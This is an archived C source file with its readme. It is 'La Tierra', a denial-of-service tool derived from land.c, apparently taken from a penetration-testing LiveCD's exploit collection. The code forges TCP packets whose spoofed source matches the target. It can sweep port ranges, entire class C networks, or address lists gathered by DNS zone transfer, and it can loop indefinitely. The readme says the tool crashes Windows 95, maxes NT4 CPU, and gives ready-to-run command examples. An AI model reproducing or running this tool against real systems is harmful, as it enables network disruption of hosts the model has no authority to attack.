home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / latierra.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  24KB  |  845 lines

  1. /**************************************************************/
  2. /*                                                            */
  3. /*  La Tierra v1.0b  - by MondoMan (KeG), elmondo@usa.net     */
  4. /*                                                            */
  5. /*  Modified version of land.c by m3lt, FLC                   */
  6. /*                                                            */
  7. /*  Compiled on RedHat Linux 2.0.27, Intel Pentium 200Mhz     */
  8. /*  gcc version 2.7.2.1       tabs set to 3                   */
  9. /*                                                            */
  10. /*  gcc latierra.c -o latierra                                */
  11. /*                                                            */
  12. /*  Refer to readme.txt for more details and history          */
  13. /*                                                            */
  14. /**************************************************************/                                  
  15. #include <stdio.h>
  16. #include <getopt.h>
  17. #include <string.h>
  18. #include <netdb.h>
  19. #include <arpa/inet.h>
  20. #include <netinet/in.h>
  21. #include <sys/types.h>
  22. #include <sys/socket.h>
  23. #include <netinet/ip.h>
  24. #include <netinet/ip_tcp.h>
  25. #include <netinet/protocols.h> 
  26.  
  27. #define DEFAULT_FREQUENCY        1 
  28. #define TRUE                         1
  29. #define FALSE                       0
  30. #define FOR_EVER                     -5
  31. #define LIST_FILE                  1
  32. #define ZONE_FILE                  2
  33. #define MAXLINELENGTH             512
  34. #define DEFAULT_SEQ                0xF1C
  35. #define DEFAULT_TTL           0xFF
  36. #define DEFAULT_TCPFLAGS      (TH_SYN | TH_PUSH)
  37. #define DEFAULT_WINSIZE       0xFDE8
  38.  
  39. struct pseudohdr
  40.     {
  41.    struct in_addr saddr;
  42.    struct in_addr daddr;
  43.    u_char zero;
  44.    u_char protocol;
  45.    u_short length;
  46.    struct tcphdr tcpheader;
  47.     };
  48.  
  49. typedef struct latierra_data
  50.     {
  51.     char dest_ip[256];
  52.     int  tcp_flags;
  53.     int  window_size;
  54.     int  ip_protocol;
  55.     int  sequence_number;
  56.     int  ttl;
  57.     int  supress_output;
  58.         int  message_type;
  59.     } LATIERRA_DATA;
  60.  
  61. void alternatives(void);
  62. int  get_ip(int use_file, FILE *fp, char *buff);
  63. int  land(LATIERRA_DATA *ld, int port_number);
  64. void nslookup_help(void);
  65. void print_arguments(void);
  66. void protocol_list(void);
  67.  
  68. /********/
  69. /* main */
  70. /********/
  71. int main(int argc, char **argv)
  72. {
  73.     FILE *fp;
  74.     LATIERRA_DATA ld;
  75.     int frequency = DEFAULT_FREQUENCY, x;
  76.     int beginning_port=1, octet=1, scan_loop=0, loop_val=0, use_file=FALSE;
  77.     int ending_port = 0, loop = TRUE, i = 0, increment_addr = FALSE;
  78.    char got_ip = FALSE, got_beg_port = FALSE;
  79.     char class_c_addr[21], filename[256], buff[512], valid_tcp_flags[16];
  80.  
  81.     printf("\nlatierra v1.0b by MondoMan (elmondo@usa.net), KeG\n");
  82.    printf("Enhanced version of land.c originally developed by m3lt, FLC\n");
  83.  
  84.     strcpy(valid_tcp_flags, "fsrpau");
  85.     ld.tcp_flags = 0;
  86.     ld.window_size = DEFAULT_WINSIZE;
  87.     ld.ip_protocol = IP_TCP;
  88.     ld.sequence_number = DEFAULT_SEQ;
  89.     ld.ttl = DEFAULT_TTL;
  90.     ld.message_type = 0;
  91.     
  92.     if(argc > 1 && (!strcmp(argv[1], "-a")))
  93.         alternatives();
  94.  
  95.     if(argc > 1 && (!strcmp(argv[1], "-n")))
  96.         nslookup_help();
  97.  
  98.     if(argc > 1 && (!strcmp(argv[1], "-p")))
  99.         protocol_list();
  100.  
  101.     if(argc == 1 || ( (argc >= 2) && (!strcmp(argv[1], "-h"))))
  102.         print_arguments();
  103.  
  104.     while((i = getopt(argc, argv, "i:b:e:s:l:o:t:w:p:q:v:m:")) != EOF)
  105.         {
  106.         switch(i)
  107.             {    
  108.             case 't':
  109.                 for(x=0;x<strlen(optarg);x++)
  110.                     switch(optarg[x])
  111.                         {
  112.                         case 'f':                        /* fin */
  113.                             ld.tcp_flags |= TH_FIN;
  114.                             break;
  115.                         case 's':                        /* syn */
  116.                             ld.tcp_flags |= TH_SYN;
  117.                             break;
  118.                         case 'r':                        /* reset */
  119.                             ld.tcp_flags |= TH_RST;
  120.                             break;
  121.                         case 'p':                        /* push */
  122.                             ld.tcp_flags |= TH_PUSH;            
  123.                             break;
  124.                         case 'a':                        /* ack */
  125.                             ld.tcp_flags |= TH_ACK;
  126.                             break;
  127.                         case 'u':                        /* urgent */
  128.                             ld.tcp_flags |= TH_URG;
  129.                             break;
  130.                         default:
  131.                             printf("\nERROR: Invalid option specified [ %c ] for tcp_flags.\n\n", optarg[x]);
  132.                             return(-12);
  133.                             break;
  134.                         }
  135.                 break;
  136.             case 'q':
  137.                 ld.sequence_number = atoi(optarg);
  138.                 break;
  139.             case 'w':
  140.                 ld.window_size = atoi(optarg);
  141.                 break;
  142.             case 'm':
  143.                 ld.message_type = atoi(optarg);
  144.                 break;
  145.             case 'v':
  146.                 ld.ttl = atoi(optarg);
  147.                 break;
  148.             case 'p':
  149.                 ld.ip_protocol = atoi(optarg);
  150.                 break;
  151.             case 'o':
  152.                 ld.supress_output = TRUE;
  153.                 break;
  154.             case 'i':
  155.                 if(strlen(optarg) > 1)
  156.                     strcpy(ld.dest_ip, optarg);
  157.                 else
  158.                     {
  159.                     printf("ERROR: Must specify valid IP or hostname.\n");
  160.                     return(-6);
  161.                     }
  162.                 got_ip = TRUE;
  163.                 break;
  164.             case 's':
  165.                 frequency = atoi(optarg);    
  166.                 break;
  167.             case 'l':
  168.                 loop = atoi(optarg);
  169.                 break;
  170.             case 'b':
  171.                 beginning_port = atoi(optarg);
  172.                 got_beg_port = TRUE;
  173.                 break;
  174.             case 'e':
  175.                 ending_port = atoi(optarg);
  176.                 break;
  177.             }
  178.         }
  179.  
  180.     if(!ld.tcp_flags)
  181.         ld.tcp_flags = DEFAULT_TCPFLAGS;
  182.  
  183.     if(!got_beg_port)
  184.         {
  185.         fprintf(stderr, "\nMust specify beginning port number.  Use -h for help with arguments.\n\n");
  186.         return(-7);
  187.         }
  188.  
  189.     if(ending_port == 0)
  190.         ending_port = beginning_port;
  191.  
  192.     printf("\nSettings:\n\n");
  193.  
  194.    printf("  (-i)   Dest. IP Addr   : ");
  195.  
  196.     if(ld.dest_ip[strlen(ld.dest_ip) -1] == '-')
  197.         {
  198.         ld.dest_ip[strlen(ld.dest_ip)-1] = 0x0;
  199.         strcpy(class_c_addr, ld.dest_ip);
  200.         strcat(ld.dest_ip, "1");
  201.         printf(" %s (Class C range specified).\n", ld.dest_ip);
  202.         increment_addr = TRUE;
  203.         octet = 1;
  204.         }
  205.     else
  206.         if(strlen(ld.dest_ip) > 5)
  207.             {
  208.             if(strncmp(ld.dest_ip, "zone=", 5)==0)
  209.                 {
  210.                 strcpy(filename, &ld.dest_ip[5]);
  211.                 printf("%s (using DNS zone file)\n", filename);
  212.                 use_file = ZONE_FILE;
  213.                 }    
  214.             else if(strncmp(ld.dest_ip, "list=", 5) == 0)
  215.                 {
  216.                 strcpy(filename, &ld.dest_ip[5]);
  217.                 printf("%s (using ASCII list)\n", filename);
  218.                 use_file = LIST_FILE;
  219.                 }
  220.             else
  221.                 printf("%s\n", ld.dest_ip);
  222.             }
  223.         else 
  224.             {
  225.             printf("Destination specifier (%s) length must be > 7.\n", ld.dest_ip);
  226.             return(-9);
  227.             }
  228.  
  229.     printf("  (-b)   Beginning Port #: %d\n",     beginning_port );
  230.     printf("  (-e)   Ending Port #   : %d\n",     ending_port );
  231.     printf("  (-s)   Seconds to Pause: %d\n",     frequency );
  232.     printf("  (-l)   Loop            : %d %s\n",  loop, (loop == FOR_EVER) ? "(forever)" : " " );
  233.     printf("  (-w)   Window size     : %d\n",     ld.window_size );
  234.     printf("  (-q)   Sequence Number : %X (%d)\n",ld.sequence_number, ld.sequence_number );
  235.     printf("  (-v)   Time-to-Live    : %d\n",     ld.ttl);
  236.     printf("  (-p)   IP Protocol #   : %d\n",     ld.ip_protocol );
  237.     printf("  (-t)   TCP flags       : "); 
  238.  
  239.     strcpy(buff, "");
  240.  
  241.     if( ld.tcp_flags & TH_FIN)
  242.         strcat(buff, "fin ");
  243.     if( ld.tcp_flags & TH_SYN)
  244.         strcat(buff, "syn ");
  245.     if(ld.tcp_flags & TH_RST)
  246.         strcat(buff, "rst ");
  247.     if(ld.tcp_flags & TH_PUSH)
  248.         strcat(buff, "push ");
  249.     if(ld.tcp_flags & TH_ACK)
  250.         strcat(buff, "ack ");
  251.     if(ld.tcp_flags & TH_URG)
  252.         strcat(buff, "urg ");
  253.  
  254.     printf("%s\n\n", buff);
  255.             
  256.     if(ending_port < beginning_port)
  257.         {
  258.         printf("\nERROR: Ending port # must be greater than beginning port #\n\n");
  259.         return(-8);
  260.         }
  261.     
  262.     scan_loop = loop_val = loop;
  263.     
  264.     if(use_file)
  265.         {
  266.         if(access(filename, 0))
  267.             {
  268.             printf("\nERROR: The file you specified (%s) cannot be found.\n\n", filename);
  269.             return(-9);
  270.             }
  271.  
  272.         if( (fp = fopen(filename, "rt")) == NULL)
  273.             {
  274.             printf("ERROR: Unable to open %s.\n", filename);
  275.             return(-10);
  276.             }
  277.  
  278.         if(!get_ip(use_file, fp, buff))
  279.             {
  280.             printf("Unable to get any IP address from file %s.\n");
  281.             return(-11);
  282.             }
  283.  
  284.         strcpy(ld.dest_ip, buff);
  285.         }
  286.     
  287.     while( (loop == FOR_EVER) ? 1 : loop-- > 0)
  288.         {
  289.         for(i=beginning_port; i <= ending_port; i++)
  290.             {
  291.             if(land(&ld, i))        /* go for it BaBy! */
  292.                 break;
  293.  
  294.            if(frequency)          /* make sure freq > 0 */
  295.                  {
  296.                 if(!ld.supress_output)
  297.                     printf("-> paused %d seconds.\n", frequency);
  298.                 sleep(frequency);
  299.                 }
  300.             }
  301.  
  302.         if( (!use_file) && (loop && increment_addr) )
  303.             {
  304.             char temp_addr[21];
  305.  
  306.             if(++octet > 254)                        /* check for reset */
  307.                 {
  308.                 if(loop_val != FOR_EVER)              /* make sure not to distrute forever! */
  309.                     {
  310.                     if(++scan_loop > loop_val)        /* check if scanned x times */
  311.                         break;
  312.                     else
  313.                         loop = loop_val;                /* restore original value */
  314.                     }
  315.                 octet = 1;                              /* reset */
  316.                 }
  317.  
  318.             sprintf(temp_addr, "%s%d", class_c_addr, octet);
  319.             strcpy(ld.dest_ip, temp_addr);
  320.         
  321.             if(!ld.supress_output)
  322.                 printf("** incrementing to next IP address: %s\n", ld.dest_ip);
  323.  
  324.             if(scan_loop > loop_val)
  325.                 break;    /* break while loop */
  326.             }
  327.         else if(use_file)
  328.             {
  329.             if(!get_ip(use_file, fp, buff))
  330.                 break;
  331.         
  332.             loop++;
  333.  
  334.             strcpy(ld.dest_ip, buff);
  335.             }
  336.  
  337.         } /* end while */
  338.  
  339.     printf("\nDone.\n\n");
  340. } /* end main */
  341.  
  342. int  get_ip(int use_file, FILE *fp, char *buff)
  343. {
  344.     if(use_file == LIST_FILE)
  345.         return(get_ip_from_list(fp, buff));
  346.         
  347.     return(get_ip_from_zone(fp, buff));
  348. }
  349.  
  350. int get_ip_from_list(FILE *fp, char *buff)
  351. {
  352.     int ret_val;
  353.  
  354.     while(1)
  355.         {
  356.         ret_val = (int)fgets(buff, MAXLINELENGTH, fp);
  357.  
  358.         if((ret_val == EOF) || (ret_val == (int)NULL))
  359.             return 0;
  360.  
  361.         if( strlen(buff) >= 7)
  362.             if((buff[0] != ';') && (buff[0] != '['))
  363.                 {
  364.                 if( (buff[strlen(buff)-1] == '\r') || (buff[strlen(buff)-1] == '\n') )
  365.                     buff[strlen(buff)-1] = 0x0;
  366.  
  367.                 return 1;
  368.                 }
  369.         }
  370.  
  371.     return 0;
  372. }
  373.  
  374. int get_ip_from_zone(FILE *fp, char *buff)
  375. {
  376.     int ret_val, i;
  377.     char *p, delim[8];
  378.  
  379.     strcpy(delim, " \t");
  380.  
  381.     while(1)
  382.         {
  383.         ret_val = (int)fgets(buff, MAXLINELENGTH, fp);
  384.  
  385.         if((ret_val == EOF) || (ret_val == (int)NULL))
  386.             return 0;
  387.  
  388.         if( strlen(buff) >= 7)
  389.             if((buff[0] != ';') && (buff[0] != '[') && (strncmp(buff, "ls -d", 5) != 0))
  390.                 {
  391.                 if( (p = strtok( buff, delim)) == NULL)
  392.                     continue;
  393.  
  394.                 if( (p = strtok(NULL, delim)) == NULL)
  395.                     continue;
  396.  
  397.                 if(strcmp(p, "A"))   /* be sure second column is an DNS A record */
  398.                     continue;
  399.                 
  400.                 if( (p = strtok(NULL, delim)) == NULL)
  401.                     continue;
  402.  
  403.                 strcpy(buff, p);
  404.  
  405.                 /* verify that we have a valid IP address to work with */
  406.  
  407.                 if(inet_addr(p) == -1)
  408.                     continue;
  409.  
  410.                 /* strip off training line characters */
  411.                 
  412.                 if( (buff[strlen(buff)-1] == '\r') || (buff[strlen(buff)-1] == '\n') )
  413.                     buff[strlen(buff)-1] = 0x0;
  414.  
  415.                 return 1;
  416.                 }
  417.         }
  418.  
  419.     return 0;
  420. }
  421.  
  422. /************/
  423. /* checksum */
  424. /************/
  425. u_short checksum(u_short * data,u_short length)
  426. {
  427.     register long value;
  428.     u_short i;
  429.  
  430.     for(i = 0; i< (length >> 1); i++)
  431.         value += data[i];
  432.  
  433.     if((length & 1)==1)
  434.         value += (data[i] << 8);
  435.  
  436.     value = (value & 0xFFFF) + (value >> 16);
  437.  
  438.     return(~value);
  439. }
  440.  
  441. /********/
  442. /* land */
  443. /********/
  444. int land(LATIERRA_DATA *ld,  int port_number)
  445. {
  446.     struct sockaddr_in sin;
  447.    int sock;
  448.    char buffer[40];
  449.    struct iphdr * ipheader = (struct iphdr *) buffer;
  450.    struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
  451.    struct pseudohdr pseudoheader;
  452.  
  453.     bzero(&sin,sizeof(struct sockaddr_in));
  454.  
  455.    sin.sin_family=AF_INET;
  456.  
  457.    if((sin.sin_addr.s_addr=inet_addr(ld->dest_ip))==-1)
  458.        {
  459.       printf("ERROR: unknown host %s\n", ld->dest_ip);
  460.       return(-1);
  461.       }
  462.  
  463.     if((sin.sin_port=htons(port_number))==0)
  464.           {
  465.       printf("ERROR: unknown port %s\n",port_number);
  466.       return(-2);
  467.       }
  468.  
  469.     if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
  470.        {
  471.       printf("ERROR: couldn't allocate raw socket\n");
  472.       return(-3);
  473.       }
  474.  
  475.     bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
  476.  
  477.    ipheader->version=4;
  478.    ipheader->ihl=sizeof(struct iphdr)/4;
  479.    ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
  480.    ipheader->id=htons(ld->sequence_number);
  481.    ipheader->ttl = ld->ttl;
  482.    ipheader->protocol = ld->ip_protocol;
  483.    ipheader->saddr=sin.sin_addr.s_addr;
  484.    ipheader->daddr=sin.sin_addr.s_addr;
  485.  
  486.    tcpheader->th_sport = sin.sin_port;
  487.    tcpheader->th_dport = sin.sin_port;
  488.    tcpheader->th_seq = htonl(ld->sequence_number);
  489.    tcpheader->th_flags = ld->tcp_flags;
  490.    tcpheader->th_off = sizeof(struct tcphdr)/4;
  491.    tcpheader->th_win = htons(ld->window_size);
  492.  
  493.    bzero(&pseudoheader,12+sizeof(struct tcphdr));
  494.  
  495.    pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
  496.    pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
  497.    pseudoheader.protocol = ld->ip_protocol;
  498.    pseudoheader.length = htons(sizeof(struct tcphdr));
  499.    bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
  500.    tcpheader->th_sum = checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
  501.  
  502.    if( sendto(sock,     buffer, 
  503.                             sizeof(struct iphdr)+sizeof(struct tcphdr),
  504.                             ld->message_type,
  505.                             (struct sockaddr *) &sin,
  506.                             sizeof(struct sockaddr_in) )==-1)
  507.        {
  508.       printf("ERROR: can't send packet. (sendto failed)\n");
  509.       return(-4);
  510.       }
  511.  
  512.     if(!ld->supress_output)
  513.         printf("-> packet successfully sent to: %s:%d\n", ld->dest_ip, port_number);
  514.  
  515.    close(sock);
  516.  
  517.    return(0);
  518. }
  519. /* End of land */
  520.  
  521. void alternatives()
  522. {
  523.     printf("\nAlternative command line arguments for option -i\n\n");
  524.  
  525.     printf("    You can create two types of files that latierra can use to get\n");
  526.     printf("    a list of IP addresses, a simple ASCII file with each IP address\n");
  527.     printf("    appearing on each line or better yet, a DNS zone file created by\n");
  528.     printf("    nslookup.  If you are unfamiliar with nslookup, specify a '-n' on the\n");
  529.     printf("    command line of latierra.\n\n");
  530.     printf("    Basically, latierra will walk down the list and send the spoofed packet\n");
  531.     printf("    to each IP address.  Once the list is complete, and loop > 1, the list\n");
  532.      printf("    is repeated.   To specify that the '-i' option should use a zone file,\n");
  533.     printf("    specify \"zone=filename.txt\" instead of an IP address.  To specify a \n");
  534.     printf("    simple ASCII list of IP addresses, use \"list=filename.txt\".  Lines\n");
  535.     printf("    beginning with ';' or '[' are ignored.  Lines that are not an 'A' \n");
  536.     printf("    record (second column)in a zone file will ignored.\n\n");
  537.  
  538.     exit(-1);
  539. }
  540.  
  541. void nslookup_help()
  542. {
  543.     printf("\nNSLOOKUP help\n\n");
  544.     
  545.  
  546.     printf("To see who is the DNS server for a particular domain, issue the following:\n");
  547.     printf("        > set type=ns\n");
  548.     printf("        > xyz.com\n\n");
  549.     printf("  You will see a list of the name server(s) if completed successfully\n\n");
  550.  
  551.     printf("To get a list of all the DNS entries for a particular domain, run nslookup\n");
  552.     printf("and issue the following commands:\n");
  553.     printf("         > server 1.1.1.1\n");
  554.     printf("         > ls -d xyz.com > filename.txt\n\n");
  555.  
  556.     printf("Line 1 sets the server that nslookup will use to resolve a name.\n");
  557.     printf("Line 2 requires all the information about xyz.com be written to filename.txt\n\n"); 
  558.  
  559.     exit(-1);
  560. }
  561.  
  562. void protocol_list()
  563. {
  564.     printf("\nProtocol List:\n\n");    
  565.     printf("Verified:\n");
  566.     printf("1-ICMP   2-IGMP   3-GGP  5-ST   6-TCP   7-UCL   8-EGP   9-IGP  10-BBN_RCC_MON\n");
  567.     printf("11-NVP11   13-ARGUS   14-EMCON   15-XNET   16-CHAOS   17-UDP   18-MUX\n");
  568.     printf("19-DCN_MEAS   20-HMP   21-PRM   22-XNS_IDP   23-TRUNK1   24-TRUNK2\n");
  569.     printf("25-LEAF1   26-LEAF2    27-RDP   28-IRTP      29-ISO_TP4  30-NETBLT\n");
  570.     printf("31-MFE_NSP   32-MERIT_INP   33-SEP   34-3PC   62-CFTP    64-SAT_EXPAK\n");
  571.     printf("66-RVD       67-IPPC        69-SAT_MON   70-VISA         71-IPCV\n");
  572.     printf("76-BR_SAT_MON   77-SUN_ND   78-WB_MON   79-WB_EXPAK   80-ISO_IP\n");
  573.     printf("81-VMTP   82-SECURE_VMTP   83-VINES  84-TTP   85-NSFNET_IGP   86-DGP\n");
  574.     printf("87-TCF    88-IGRP          89-OSPFIGP         90-SPRITE_RPG   91-LARP\n\n");
  575.     printf("Supported:\n");
  576.     printf("    6-TCP     17-UDP    (future: PPTP, SKIP) \n\n");
  577.  
  578.     exit(-1);
  579. }
  580.  
  581. void print_arguments()
  582. {
  583.     printf("Arguments: \n");
  584.     printf("     *   -i dest_ip = destination ip address such as 1.1.1.1\n");
  585.     printf("                If last octet is '-', then the address will increment\n");
  586.     printf("                from 1 to 254 (Class C) on the next loop\n");
  587.     printf("                and loop must be > 1 or %d (forever).\n", FOR_EVER);
  588.     printf("                Alternatives = zone=filename.txt or list=filename.txt (ASCII)\n");
  589.     printf("                For list of alternative options, use  -a instead of -h.\n");
  590.     printf("     *   -b port# = beginning port number (required).\n");
  591.         printf("         -e port# = ending port number (optional)\n");
  592.     printf("         -t = tcp flag options (f=fin,~s=syn,r=reset,~p=push,a=ack,u=urgent)\n");
  593.     printf("         -v = time_to_live value, default=%d\n", DEFAULT_TTL);
  594.     printf("         -p protocol = ~6=tcp, 17=udp, use -p option for complete list\n");
  595.     printf("         -w window_size = value from 0 to ?, default=%d\n", DEFAULT_WINSIZE);
  596.     printf("         -q tcp_sequence_number, default=%d\n", DEFAULT_SEQ);
  597.     printf("         -m message_type (~0=none,1=Out-Of-Band,4=Msg_DontRoute\n");
  598.     printf("         -s seconds = delay between port numbers, default=%d\n", DEFAULT_FREQUENCY);
  599.     printf("         -o 1 = supress additional output to screen, default=0\n" );
  600.     printf("         -l loop = times to loop through ports/scan, default=%d, %d=forever\n", 1, FOR_EVER);
  601.     printf("     * = required     ~ = default parameter values\n\n");
  602.     exit(-1);
  603. }
  604. /* End of file */
  605.  
  606.  
  607. ----------------- readme.txt  ------------------------------
  608.  
  609. La Tierra v1.0b  - by MondoMan (KeG), elmondo@usa.net
  610.  
  611.        Modified version of land.c by m3lt, FLC
  612.  
  613. To compile latierra, type:
  614.  
  615.     gcc latierra.c -o latierra
  616.  
  617.     To see the help screen, use 'latierra -h'
  618.  
  619. This program crashes Windows 95, and will cause Windows NT  
  620. 4.0, SP3 to utilize a high percentage of CPU.  In some     
  621. instances, CPU usage reaches %100.
  622.                                                          
  623. land.c description:                                        
  624.  
  625. land.c sends a spoofed packet with the SYN flag from the   
  626. the same IP and port number as the destination.  For       
  627. example, if you want to do a DoS on 1.1.1.1, port 80, it would   
  628. spoof 1.1.1.1 port 80 as the source.  The problem is with  
  629. NT4 SP3, however, is once you issue this packet to a     
  630. port, NT4 SP3 appears to ignore all other attempts -
  631.  
  632. UNTIL ...
  633.                                                             
  634.                      La Tierra!
  635.                                                             
  636. La Tierra description:                                     
  637.                                                             
  638. La Tierra basically works by sending NT the same packet
  639. used in land.c but to more than one port (if specified).
  640. It doesn't appear to matter if the port is opened or closed!
  641. NT doesn't appear to let this happen again on the same port
  642. successively, but you simply change ports, and you can easily 
  643. go back to the original port and it'll work again. What's even
  644. more interesting is the fact that port 139 works with this.
  645. You would have thought - I'll leave that alone for now!
  646.  
  647. While testing, I used a Compaq dual Intel Pentium Pro 200, and
  648. was able to take up to %64 CPU.  With one processor disabled, 
  649. CPU usage was %100.  NT4 SP3 doesn't seem to crash, just needs
  650. time to recover, even with one spoofed packet.
  651.  
  652. Features include:
  653.  
  654.     - Ability to launch a DoS on an entire class C address
  655.     - Specify the beginning and ending port range
  656.     - Specify the number of loops or make it loop forever!
  657.     - User defined TCP flags: fin, syn, reset, push, ack, 
  658.       and urgent
  659.     - Other IP options such as window size, time-to-live, 
  660.       sequence_number, and message_type
  661.     - Ability to read a DNS zone file for IP addresses
  662.     - Ability to read a ASCII file containing IP addresses
  663.  
  664. Command line options:
  665.  
  666.      - i ip_address
  667.  
  668.     DEFAULT: None
  669.     RANGE: Valid IP Address
  670.     OPTIONAL: No
  671.  
  672.     where ip_address is a valid ip_address, or if you wish to
  673.     cycle through a class C address, the last octet is dropped
  674.         and replaced with a '-'.  This option is required.  The 
  675.     source and destination address are obtained from this value.
  676.  
  677.     Rather than specifying an IP address, you may wish to create
  678.         an ASCII file, or better yet, use nslookup to obtain all 
  679.         zone information for a particular domain.  The ASCII file
  680.     simply contains a list of IP addresses, one on each line.
  681.  
  682.     To get a DNS file, simply use nslookup, and the 
  683.     "ls -d somedomain.com > filename.txt" command.  You can use
  684.     'latierra -n' to read more about the command sequence for
  685.     nslookup.
  686.  
  687.     In both types of files, lines that begin with ';' or '[' are 
  688.     ignored. In DNS files, only 'A' records are processed.
  689.  
  690.     Examples:
  691.  
  692.        Single IP Address:
  693.         -i 10.1.2.1
  694.  
  695.        Class C range:
  696.         -i 10.1.2.-
  697.  
  698.        ASCII file:
  699.         -i list=filename.txt
  700.  
  701.        DNS file:
  702.         -i zone=filename.txt
  703.  
  704.      -b beginning_port_number
  705.  
  706.     DEFAULT: None
  707.     RANGE: Positive Integer
  708.     OPTIONAL: No
  709.  
  710.     where this value is the port_number that latierra will use. If
  711.     no ending_port_number is specified, ending_port_number is then
  712.     equal to this value.  Valid range is 1 to 0xFFFF
  713.  
  714.      -e ending_port_number
  715.  
  716.     DEFAULT: If not specified, equal to beginning_port_number
  717.     RANGE: Positive Integer
  718.     OPTIONAL: Yes
  719.  
  720.     is the highest port number in the range to cycle through. 
  721.  
  722.     Example:
  723.  
  724.         -i 10.1.2.1 -b 23 -e 80
  725.  
  726.     will start at port 23 and increment up to port 80.  You can 
  727.         delay the next increment by using the -s option.  Valid range
  728.     is 1 to 0xFFFF
  729.  
  730.      -s seconds_between_spoofs
  731.  
  732.     DEFAULT: 1
  733.     RANGE: Positive Integer
  734.     OPTIONAL: Yes
  735.  
  736.     You may want to control the seconds between spoofs.  If you
  737.         specify a zero, no delays occur.
  738.  
  739.     In the below example, the spoof will between ports 23 and 80,
  740.     every 3 seconds.
  741.  
  742.         -i 10.1.2.1 -b 23 -e 80 -s 3
  743.  
  744.      -l number_of_loops
  745.     
  746.     DEFAULT: 1
  747.     RANGE: Positive Integer, -5 loops forever
  748.     OPTIONAL: Yes
  749.     
  750.     This option if set greater than 1, will cause a repeat of the
  751.         cycle.  For example:
  752.  
  753.         -i 10.1.2.1 -b 23 -e 80 -s 0 -l 8
  754.  
  755.     will cause latierra to go through ports 23 through 80 and
  756.     repeat the process 8 times, with no delay.  Look at the
  757.     following example:
  758.  
  759.         -i 10.1.2.- -b 23 -e 80 -s 0 -l 8
  760.  
  761.     latierra will start at 10.1.2.1, port 23 through 80, then
  762.     increment to 10.1.2.2, port 23 through 80, and so on until
  763.     it gets to 10.1.2.254, in which case it will repeat the
  764.     same procedure over again 8 times.
  765.  
  766.     By specifying a value of -5 for this option, latierra will
  767.     loop forever, until you manually stop the process.  In the
  768.     last example above, the procedure would never end.  When it
  769.     reaches 10.1.2.254, it falls back to 10.1.2.1 and start
  770.     over again from there.
  771.  
  772.     Other examples:
  773.  
  774.         -i 10.1.2.1 -b 139 -s 0 -l -5
  775.         -i 10.1.2.- -b 80 -s 5 -l 10
  776.                                                       
  777.      -t tcp_flags
  778.  
  779.     DEFAULT: sp   (SYN, PUSH)
  780.     RANGE: valid character set (see below)
  781.     OPTIONAL: Yes
  782.  
  783.     this option sets the various TCP flags, which include:
  784.  
  785.         f = fin        s = syn        r = reset
  786.         p = push    a = ack        u = urgent
  787.  
  788.     Example:
  789.  
  790.         -i 10.1.2.1 -b 139 -t apu -s 0
  791.  
  792.         To set the ack, push, and urgent flag
  793.  
  794.      -v time_to_live_value
  795.  
  796.     DEFAULT: 0xFF (255 decimal)
  797.     RANGE: Positive Integer
  798.     OPTIONAL: Yes
  799.  
  800.     Sets the time to live value.
  801.  
  802.      -p protocol_value
  803.  
  804.     DEFAULT: 6 (tcp)
  805.     RANGE: Positive Integer
  806.     OPTIONAL: Yes
  807.  
  808.     Sets the protocol value in the IP header.  To see a list of 
  809.      available protocols, run "latierra -p".
  810.  
  811.      -w window_size_value
  812.  
  813.     DEFAULT: 0xFFFF (65000 decimal)
  814.     RANGE: Positive long value
  815.     OPTIONAL: Yes
  816.  
  817.      -q tcp_sequence_number_value
  818.  
  819.     DEFAULT: 0xF1C
  820.     RANGE: Positive integer
  821.     OPTIONAL: Yes
  822.  
  823.      -o 1 supress_additional_output
  824.  
  825.     DEFAULT: messages are printed for status
  826.     RANGE: None
  827.     OPTIONAL: Yes
  828.  
  829.     If you don't want to see the messages during the process,
  830.     simply use this "-o 1" to turn them off.
  831.  
  832. Final Note:
  833.  
  834. Please use this program for in-house testing purposes only.  
  835.  
  836. Just because your sending spoofed packets, doesn't mean you 
  837. can't be traced.
  838.  
  839. Good luck.
  840.  
  841. - MondoMan
  842. elmondo@usa.net
  843.                                                           
  844. -------------------- end of file -------------------------------
  845.